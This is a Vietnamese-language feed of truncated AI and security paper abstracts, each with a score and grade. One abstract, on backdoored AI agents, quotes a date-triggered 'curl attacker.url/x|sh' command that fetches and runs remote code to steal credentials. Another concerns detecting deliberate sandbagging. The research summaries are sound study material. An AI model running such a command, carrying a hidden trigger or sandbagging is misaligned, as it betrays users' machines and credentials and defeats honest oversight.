cập nhật 4 phút trước

⏱ Độ trễ thật của tab này: trung bình 7.1 giờ sau khi CVE được công bố (n = 5368, sớm nhất 0.1 giờ). Số âm nghĩa là ta thấy trước ngày công bố.

28
More Agents, More Samples, or More Thinking? Untangling Coordination, Ensembling, and Test-Time Compute in Multi-Agent LLMs
📄 Paper arXiv cs.AI 7 giờ trước

arXiv:2611.17610v1 Announce Type: new Abstract: Evaluations of multi-agent language models often compare communicating architectures against a single greedy pass. This practice confounds coordination with sample multiplicity and inference compute. We synthesize nine primary empi…

🅲 hạng C
28
What a CAGE 4 Score Measures: An Audit of a Learned Cyber-Defense Benchmark, Its Reference Defenders, and the Tables Built on Them
📄 Paper arXiv cs.CR 5 ngày trước

arXiv:2611.14068v1 Announce Type: new Abstract: CAGE Challenge 4 is the benchmark on which learned multi-agent cyber defenders are compared. We reproduce its two reference defenders, KEEP and H-MARL Expert, in a pinned container and show that three things read from it measure le…

🅲 hạng C
26
LEASH: Stay Safe in Agentic Robotics
📄 Paper HF Daily Papers 6 ngày trước

Foundation models such as GPT and Claude have shown strong capabilities in spatial understanding and embodied intelligence. These advances make agentic robotics a promising path toward artificial general intelligence in robotics. However, we find that using foundation models to c…

🅲 hạng C
25
Envisioning Agentic Robotics: A New Era of Robotic Systems
📄 Paper HF Daily Papers 3 ngày trước

The release of GPT-6 Astra marks the emergence of a new paradigm in robotics: agentic robotics. Within weeks, frontier models with agentic harnesses matched or exceeded task-specific policies on many embodied benchmarks. Instead of training a dedicated policy for each family of t…

🅲 hạng C
25
Lazare, veni foras: Reprogramming Dormant Neurons to Backdoor AI Agents
📄 Paper arXiv cs.CR 3 ngày trước

arXiv:2611.15118v1 Announce Type: new Abstract: Imagine an AI agent that aces every relevant evaluation, but when it sees 2027-01-01 in the terminal, it runs curl attacker.url/x|sh, handing an attacker your credentials and your machine. Agents now run unattended for hours with p…

🅲 hạng C
👁 Trúng danh sách theo dõi: actor:lazarus
24
Advancing Quantization for R&R Models with Microscaling Formats
📄 Paper arXiv cs.AI 7 giờ trước

arXiv:2611.17501v1 Announce Type: new Abstract: Recommendation and Ranking (R&R) models, particularly in digital advertising, require massive inference throughput but exhibit extreme sensitivity to precision loss. Unlike Large Language Models (LLMs) that frequently tolerate quan…

🅲 hạng C
24
Safety Side Effects of Preventative Persona Steering: An Empirical Audit
📄 Paper arXiv cs.AI 7 giờ trước

arXiv:2611.17620v1 Announce Type: new Abstract: High-level behaviors such as sycophancy and hallucination correspond to directions in a model's activation space (Chen et al., 2025). These directions, known as persona vectors, can suppress undesirable traits either at inference t…

🅲 hạng C
24
OCTAVE: A Capability-Resolved Benchmark for End-to-End HTML5 Game Generation
📄 Paper arXiv cs.AI 7 giờ trước

arXiv:2611.17681v1 Announce Type: new Abstract: Complete game generation requires agents to coordinate rules, interactions, states, and presentation over a long development process. A single aggregate score obscures which capabilities are implemented and which requirements remai…

🅲 hạng C
24
Few-Step Streaming Video Generation via Condition Shifting
📄 Paper HF Daily Papers 6 ngày trước

Few-step sampling reduces the cost of streaming video generation. Distribution Matching Distillation (DMD) supervises few-step generators with a separate fake-score network, which adds training memory and computation and must track the evolving generator. We extend APEX to stream…

🅲 hạng C
23
META-IR: Meta-Introspective Reasoning for Adaptive Safety Alignment in LLM
📄 Paper arXiv cs.AI 6 ngày trước

arXiv:2611.10089v1 Announce Type: new Abstract: Large Language Models (LLMs) remain vulnerable to jailbreak attacks and harmful-content prompts, particularly under adversarial distribution shifts where static alignment pipelines fail to generalize. Although introspective methods…

🅲 hạng C
21
CANTraj: Recovering Vehicle Trajectories from CAN Signals in Naturalistic Driving
📄 Paper HF Daily Papers 3 ngày trước

Open driving releases and usage-based insurance programs often claim to prevent privacy breaches by omitting GPS records when sharing or collecting vehicle data. However, removing GPS coordinates from driving logs does not erase the location information carried by vehicle signals…

🅲 hạng C
21
SynthCorp: A Platform for Creating Benchmarks for Data Agents
📄 Paper arXiv cs.AI 3 ngày trước

arXiv:2611.14765v1 Announce Type: new Abstract: Current benchmarks for LLM-driven data agents saturate quickly and cannot target specific capabilities. We present SynthCorp, a platform that creates customizable data estates and benchmarks by simulating how business events produc…

🅲 hạng C
21
Stress-Testing Sandbagging Detection Under Adaptive Attack
📄 Paper arXiv cs.CR 3 ngày trước

arXiv:2611.14950v1 Announce Type: new Abstract: Developers, auditors and researchers read evaluation scores as evidence of what a model can do. A model that sandbags, scoring low on purpose while keeping the capability, turns a low score into false reassurance. Sandbagging detec…

🅲 hạng C
21
Your Secrets Are Showing: Deep Image Hiding Models Are Surprisingly Easy to Attack
📄 Paper arXiv cs.CR 3 ngày trước

arXiv:2611.15583v1 Announce Type: new Abstract: In this work, we ask whether an attacker can go beyond detecting a hidden image and tell what it depicts, even without knowing which model hid it. We show that, for deep image hiding, this is surprisingly easy. To test this, we bui…

🅲 hạng C